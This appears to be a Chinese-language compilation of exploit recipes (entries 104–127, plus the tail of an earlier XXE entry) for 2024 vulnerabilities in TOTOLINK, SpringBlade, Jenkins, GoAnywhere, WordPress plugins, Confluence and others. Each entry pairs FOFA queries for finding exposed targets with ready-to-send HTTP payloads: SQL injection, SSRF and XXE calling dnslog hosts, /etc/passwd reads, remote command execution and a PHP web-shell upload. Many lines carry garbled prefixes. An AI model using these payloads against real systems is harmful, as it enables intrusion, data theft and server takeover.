% z, j6 S6 |; U( EUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
% ?# ~% \, y7 k7 _/ u  T/ TConnection: close
Content-Length: 204
/ k) a! r9 d% F( }4 h: |Content-Type: application/x-www-form-urlencoded
& H6 Y$ _6 q. M# p/ tAccept-Encoding: gzip

: m6 f7 H( `+ K% X+ z" [% ^SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
, E4 k' T. a# w; j0 N6 ~+ |

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
- i5 L) g% A0 J$ [, u! t<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


# E% h/ O; O4 _: F" H0 [2 x. V( ~104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
) g6 _) P9 I* D, x# pFOFA：title="TOTOLINK"
! L+ a9 Z( t2 `; y3 {/ g% y6 wPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
+ g( _; M. a6 j$ k$ QContent-Length:41
$ Y0 `7 w9 l& q9 w# vAccept:application/json,text/javascript，*/*;q=0.01
2 w, k  E' p& E* S/ [: a; ?X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
+ j) s8 h. j$ r! J4 o" HContent-Type: application/x-www-form-urlencoded:charset=UTF-8
/ i2 {8 t0 s9 V( HOrigin: http://192.168.0.1
/ j, M1 d$ D% ~2 B/ c$ N: OReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
/ }! E0 @3 X- ~5 Q3 ^5 o8 U' HAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
+ r9 b( D. Y% Y: _+ J3 a! RConnection:close

{
"topicurl":"getSysStatusCfg",
"token":""
}
+ x$ y) q! d4 v! {
105. SpringBlade v3.2.0 export-user SQL 注入
) \0 _1 z6 j8 e- X  f; nFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
, _0 I( f7 F) ^5 o" J: k
  q: Q7 D: j  K) l/ ^4 o5 Q8 A106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
0 w! T& A1 l9 v, y4 L8 cGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
) Q0 O1 d' m: l5 A! h# |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
' J* B! v: R7 z. \) `& ~* nAccept-Language: zh-CN,zh;q=0.9
Connection: close
4 d* y! Q8 w& x8 j

. \3 _/ C6 l9 y5 B1 k9 w( m6 V& v5 z107. SpringBlade tenant/list SQL 注入
; }1 E; G/ d7 i& K! d8 S5 `3 F  NFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
7 v% n0 o3 W3 b% ^+ w) X7 wHost: your-ip
0 n& O% X$ O" z' OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
( Z" _6 H" [+ @3 d5 @Connection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
. T+ k0 c. x2 J7 S5 ]  SFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
! a7 g4 W6 D* O+ W( Q1 F' D9 i+ Z$ m0 aAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 S' O6 e4 ~4 m2 Q% B, X, IAccept-Encoding: gzip, deflate
5 n! Z; w7 V4 m9 WAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 F+ m; b( n- `, nConnection: close


109. Jenkins CLI 任意文件读取
. N. ^4 J! {) i% t1 TCVE-2024-23897
4 p: B3 \& t! h3 M3 XFOFA：header="X-Jenkins"
' q5 Z8 N  i  }/ SPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
& l" L  w+ O; J; x8 b/ |Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
4 `! q, I& G/ a" Z; CSide: upload
1 @# Q% y$ ?- T0 v/ ^: q8 [Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


' [9 S) ?) r8 F- v, S) N  X8 U3 yPOST /cli?remoting=false HTTP/1.1
Host:
/ h- _2 m8 o/ X6 VSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
- ]" J. Q# m8 M6 ]  x$ E  oContent-Type: application/x-www-form-urlencoded
Content-Length: 0

& L0 g' {" f8 c2 U" H
- K: J  F: Q: }( A- d$ D% kERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
# }/ y$ q, R1 D0 M[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


3 E! \% Q7 A" F3 c' a110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
& [; h6 @' C2 Q2 m, Z4 T; H8 s0 o( SFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
- L. v0 c6 O6 uHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
4 ?3 O5 R! _- q: ]4 d( e( J
8 L( ^( S, r, X" ?$ e! n/ y6 x. b
111. WordPress Plugin HTML5 Video Player SQL注入
* f+ V3 n! q7 p& P# U  `! y5 ICVE-2024-1061
: O+ ~6 ^; I& i  Y& HFOFA："wordpress" && body="html5-video-player"
6 Y" k( q& q. c: q4 V  ]2 G  MGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
- X, Q  m/ r; W! fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
0 W( q" _, g* y2 c" p6 m, m3 PAccept-Language: en
Accept-Encoding: gzip
- p: T: g0 v, L6 @

% V. e6 Q1 `; \, X4 p) e112. WordPress Plugin NotificationX SQL 注入
; c: E8 x; I& c/ g2 m" z4 ZCVE-2024-1698
* n& a  u2 g2 p7 Q6 ]& h1 @1 ~FOFA：body="/wp-content/plugins/notificationx"
: G" P% A! z) yPOST /wp-json/notificationx/v1/analytics HTTP/1.1
" @' m+ W8 h5 ^* fHost: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
. |, ~2 t6 s% m; Z1 ^

113. WordPress Automatic 插件任意文件下载和SSRF
( L3 U" Z  Z# G( a5 e0 hCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
% A0 r" ^$ o; v8 QGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
! t7 _. ^+ g5 [' j# pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
' F1 c0 V5 l2 g0 s' \Connection: close
) W2 l' h8 W/ ]Accept: */*
Accept-Language: en
' S$ }' M+ t  m# M0 ^Accept-Encoding: gzip
. }3 F: C' e' |' U

114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
$ a' ?) E4 ^. P% @* B. t7 aHost: your-ip
& C3 R9 F) M5 U/ W( [User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
# I9 w( w" U0 t: T0 N. O$ r, B

' K4 f* k: e( u% S# t$ L6 T115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
; N( Z5 D. \4 Z5 b7 U* g) i% t第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
" }7 J9 g2 n/ `( o, u  N/ H2 j5 bUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
+ X, p+ u, b. e3 j/ ^2 V  hAccept-Encoding: gzip
. R+ J+ O0 ]6 \; o

第二步替换nonce值，执行命令
% S( t  m; a* G. bPOST /wp-json/bricks/v1/render_element HTTP/1.1
4 j7 |0 j0 M$ S8 g( oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) r3 {' b1 P+ S$ bConnection: close
Content-Length: 356
* D3 {9 P  F( y, y5 C. z4 u* XContent-Type: application/json
2 E; q9 L9 z6 j5 f2 PAccept-Encoding: gzip

  H2 M# A! S  s  ~) q1 P{
"postId": "1",
  "nonce": "第一步获得的值",
7 x+ G( |! o. b5 B( J4 L  "element": {
8 E1 e5 H- n2 \    "name": "container",
    "settings": {
8 J6 }6 ]9 ~8 I" F3 c  `      "hasLoop": "true",
      "query": {
0 [: U0 X: e- W4 \- y) f/ O1 M% ^        "useQueryEditor": true,
" u2 d. i: D2 [: m" o9 P9 Z        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
3 H0 [: D! s2 L1 H: }        "objectType": "post"
3 X' _' Y9 W) [" [( k      }
$ l4 S: F* p( W7 i9 D, K' `    }
  }
}
  m6 L; W. f# q* M

116. wordpress js-support-ticket文件上传
9 H, f9 X6 ]2 e0 ~" R  AFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
( }$ F8 [" u" w! l+ pHost:
" X/ m* U" I& {. bContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
$ M, E  c! Y' F; z+ n
----------767099171
4 H) N/ q9 ?: t6 Q$ n" ?8 Q: ^1 yContent-Disposition: form-data; name="action"
configuration_saveconfiguration
' V, u( F$ X  h+ }( p5 g----------767099171
+ D5 Q% y& m% O3 T; pContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
2 g  Q+ v- Y, K# W# F1 oContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
! S; a8 V6 u2 \" k# J4 z+ _, h% UContent-Type: image/png
----------767099171--

) k- X+ ]9 ~7 C. x' ]# f" j, L
117. WordPress LayerSlider插件SQL注入
' N7 X3 @( f: R9 U* ~version：7.9.11 – 7.10.0
! Q% h5 F! q+ I- z4 b4 t1 wFOFA：body="/wp-content/plugins/LayerSlider/"
1 H! e3 B! j+ Y7 k+ {GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
  f0 K* u/ ?0 r9 M/ H, FHost: your-ip
* ~' K5 T2 M$ \8 A4 K/ @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 Y) }0 J4 m0 j! S! @9 X3 _4 s& ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
0 B  {1 ~+ O& o3 q7 [
) _  U( ~" A$ Q% d8 f! M2 \' m3 t
1 A4 v' _) ^7 g4 Z8 y118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
$ a8 C/ ]  ~% f0 c( T2 e0 EFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 |/ f: ~# Q& `$ \& cAccept-Encoding: gzip, deflate
8 r/ p# v9 a9 W+ }Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
5 d3 X" K3 _8 u& z+ aReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
6 o6 m/ ?9 k- \, V9 H; b- oSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
+ y; ]' I" L$ c3 GSec-Fetch-User: ?1
! k- V  ?# \7 w& ATe: trailers
  v: X6 K. _2 ^( A% ]* YConnection: close
/ B2 P( Q; j& I( H$ R
- Y5 i- a3 _% B; c* h& _2 u) C2 E-----------------------------13979701222747646634037182887
# I) T& s6 y/ gContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
$ V. k, s; M; ~. q% \7 x) lsystem($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
. I) q6 [: ]! f: P  p6 f( s7 KContent-Disposition: form-data; name="txt_path"

0 n; \& I& x, X' P0 i; a. o' X# U1 J- _/home/src.php
. J. T+ O. z" e6 ]8 t-----------------------------13979701222747646634037182887--
$ J; ~& e- H: A+ U  \. o; |

访问/home/src.php
: f8 w- R8 P( A% K
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
' H% ]* F9 Q& ^* O* Z# w1 `POST /sysmanage/sysmanageajax.php HTTP/1.11
' Z% l6 o* k, }  o- oHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
) H1 l; ?" M. A$ U( V' rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
5 L" I1 B! h( p+ I4 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
( p% O" F$ @1 Y# t2 `' o/ {% K& @; ~Content-Type: application/x-www-form-urlencoded;
7 L' K% T9 p6 D' S$ I# OContent-Length: 109
  v5 w# o+ [' b6 d2 LOrigin: https://58.18.133.60:8443
0 [0 {! L' b% S+ x' m1 N( C) NReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
8 k6 l% q; Q3 ^0 F6 `" ySec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
7 N, Y8 Q: `0 D4 pX-Remote-Ip: 1.1.1.1
& u+ N1 U7 S2 o- v$ oX-Remote-Addr: 1.1.1.1
$ s# P& ^) I/ f$ J$ FTe: trailers
/ s. `9 G8 j/ X: M8 A% LConnection: close
  y3 a  |: L4 i* i$ J2 q, @
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
/ [+ [& _  R4 q
/ c, ]: i7 t2 c5 w
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
1 T; W) L  Y: I4 U" ]: @7 T" fCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
6 T7 u( b6 ?' z% Z. G' ?* MUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! e2 d3 k- l8 G* _0 qAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
1 K9 |- T" O- W; s1 b- ?0 ~( pContent-Length: 597
Origin: https://ip:port
1 p6 g4 r% p1 ]2 S5 g+ ]: i  RReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- w4 g" ~4 ~) K/ OSec-Fetch-Mode: navigate
& n* Z8 z3 q) _4 V" w+ mSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- m9 F1 Y' ~2 o9 d4 ^Te: trailers
7 f' [* d7 g, ~* P) K  tConnection: close
1 s1 t% k6 t8 ]/ }
% ]9 m: J' j3 L-----------------------------42328904123665875270630079328
0 t" e, K# D$ t$ K: h; ]Content-Disposition: form-data; name="file_upload"; filename="2.php"
, w/ |7 R: |" F; c  q8 rContent-Type: application/octet-stream

$ T9 G3 |# G4 ~( p3 Q<?php phpinfo()?>
. ?3 H" d$ `% i5 W/ R( g3 N" g-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
1 b2 w  `. W" k/ ]
) X, _" c/ h! }3 U$ p1
-----------------------------42328904123665875270630079328
! ]; h# E; i5 t; P# aContent-Disposition: form-data; name="1_ck"
; m! H* }5 W/ |$ h/ A1 k! O
1_radhttp
' j. d! |2 w) t/ h+ G-----------------------------42328904123665875270630079328
' C, p# H' G1 x* [9 }Content-Disposition: form-data; name="mode"

4 L1 E& k: \0 Pimport
8 C/ ~' j( ]  E. Z4 q# V6 X$ A7 L-----------------------------42328904123665875270630079328
# P: w3 _2 t, g5 Z  V! \; \

  m4 Z3 m# G4 U6 K文件路径/upload/2.php
$ I- Z! B1 w" \
% O: P( c0 v; q$ P2 b3 b/ |121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
1 n. R% u! P: o+ H8 Z  w6 p+ kFOFA：title="Smart管理平台"
5 H% I5 p5 t0 \% r) F; |/ m, T) SPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
' v7 |/ ~( |: Y& E1 m) pCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; t3 O1 A8 k4 [4 a% PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' r5 N/ v  v% c0 jAccept-Encoding: gzip, deflate
2 v, b4 Y: L6 s5 X% w& f6 e  i. I. pContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
  R( N, r+ {6 q( W+ X0 T4 ]Origin: https://192.168.40.130:8443
' e4 ]6 U, t+ X0 u# p; @Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
: Q4 h6 k& `1 c" B+ ~" S! pSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
  }; X+ p4 D' `: w' v; p8 ~& l  ?: \# XSec-Fetch-User: ?1
, y/ |/ v' [4 N! |Te: trailers
Connection: close
/ x- m3 @, m+ V3 \
- I3 b2 t! o; c* a- b- U) f-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

6 n2 x- \( H' r; R, T; t, g6 N; c% z<?php phpinfo();?>
7 g8 v! J2 w7 K& s3 n% X-----------------------------42328904123665875270630079328
4 A$ C6 W; [. S; _! P4 X% v8 lContent-Disposition: form-data; name="id_type"
% \2 f! Y7 o1 d* c5 D* X
7 q/ t* p. p1 e, m) K( W1
) K0 r7 C& g# }% V/ ?-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
% l- ]5 ?( U- C) j! [1 S# c
1_radhttp
. q8 o% L% c2 q-----------------------------42328904123665875270630079328
" K1 K4 x2 a7 y! _) Y* EContent-Disposition: form-data; name="hidwel"
- U2 V2 B$ d( b0 l+ ~) I- D
6 ~# P* u  _) g, wset
  R3 g) ]7 u2 k6 V3 G& l9 b3 o-----------------------------42328904123665875270630079328

, ~) \; c7 V, `, s
2 P4 L: x* H  I& S: c! m3 V. [boot/web/upload/weblogo/1.php
2 S5 x7 G( c0 X6 x
' p4 P! s! b3 c3 t" s122. 北京百绰智能s200管理平台/importexport.php sql注入
* `4 `8 N1 H; h+ yCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
- H# M- @) H& c! bHost: x.x.x.x
, K2 U5 I- @2 vCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ x' [% d& H; o1 \& O& T! }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ O9 O# ~. v) q) m5 a. ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
, }  H5 ], p* ?; _
4 L9 T. m+ [4 A9 b9 Z- L
' s3 |8 R; Z: v' b# B123. Atlassian Confluence 模板注入代码执行
3 m8 X. X, U3 r$ rFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
( Q) \/ n3 V' a( K1 A% VPOST /template/aui/text-inline.vm HTTP/1.1
+ W$ v& z5 B$ P( nHost: localhost:8090
Accept-Encoding: gzip, deflate, br
8 [/ J( k6 n4 @+ i6 q/ eAccept: */*
( K9 r! x6 v- O3 o+ UAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
; [% x! w1 }6 G1 O8 }1 F
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
% }* F" W! c3 C$ e/ a* Y

124. 湖南建研工程质量检测系统任意文件上传
! q( d8 [. j. s" k; JFOFA：body="/Content/Theme/Standard/webSite/login.css"
9 F* Z4 k- E2 D" O- Z) `POST /Scripts/admintool?type=updatefile HTTP/1.1
0 a: k" l0 B0 q8 a' ^$ `9 m- D  zHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# x, ^& _# f- W8 oContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
0 k& |9 u) m4 gContent-Type: application/x-www-form-urlencoded
3 v6 Q( Z7 w1 S
6 e; [5 w. I! T6 `0 j, [filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
  `* _* v. F; w$ L& s- `# K

http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
3 X6 r; A3 C2 r3 m1 r8 Q6 h3 YCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
  @5 e) ^+ M! j5 _7 }0 J' N

! s( i) e+ s- ^, h5 e7 b使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

6 S% g$ N( o7 H# r
创建好用户后直接登录后台，可以执行系统命令。
5 M' B: f1 y, h5 k, F# A% y
! H% _) ]- o3 g% Q: U126. Aiohttp 路径遍历
$ p4 p+ n3 Y9 K9 o5 Q; l% sFOFA：title=="ComfyUI"
* O6 J; E1 J; [6 j1 ]GET /static/../../../../../etc/passwd HTTP/1.1
$ I5 Y: {# P9 F. y7 I/ \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
0 A( j' G: V0 z0 q% ^Accept: */*
Accept-Language: en
2 K  A) J5 A- I5 p1 u1 ?3 ~Accept-Encoding: gzip
' Z" A. i. e. g' |4 ^

127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
5 M* _# l4 \* H7 LPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
1 ^* N5 \# n1 U2 c# w, jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 p' V; K  e; n0 i  V! aAccept-Language: zh-CN,zh;q=0.9
Connection: close
4 ]" w' N" {+ M2 q2 ^4 fContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
. r& H" h  v  s! Y. y7 Q8 j
------WebKitFormBoundaryJGgV5l5ta05yAIe0
( m& \& ~: A$ h, wContent-Disposition: form-data;name="SystemName"
/ \; F; q8 [) J% n- b
BIM
: y* z1 R: Z, W8 @/ o# c* w9 c: Z------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
4 U/ d! Z; _& X* B6 G- MContent-Type: text/plain
8 `) X- u& `  P8 M' d
; @0 F, S6 t3 |) ]  J2 }, f<?xml version="1.0" encoding="UTF-8"?>
, r# y) o' v! B8 p<!DOCTYPE test [
! E/ V+ T, p  K<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
( ]3 I3 u1 [2 @6 D( x>
<test>&t;</test>
$ E4 ^, p8 \  E+ a+ w( C; |6 n------WebKitFormBoundaryJGgV5l5ta05yAIe0--


4 b( D) \! b1 \' `3 ^
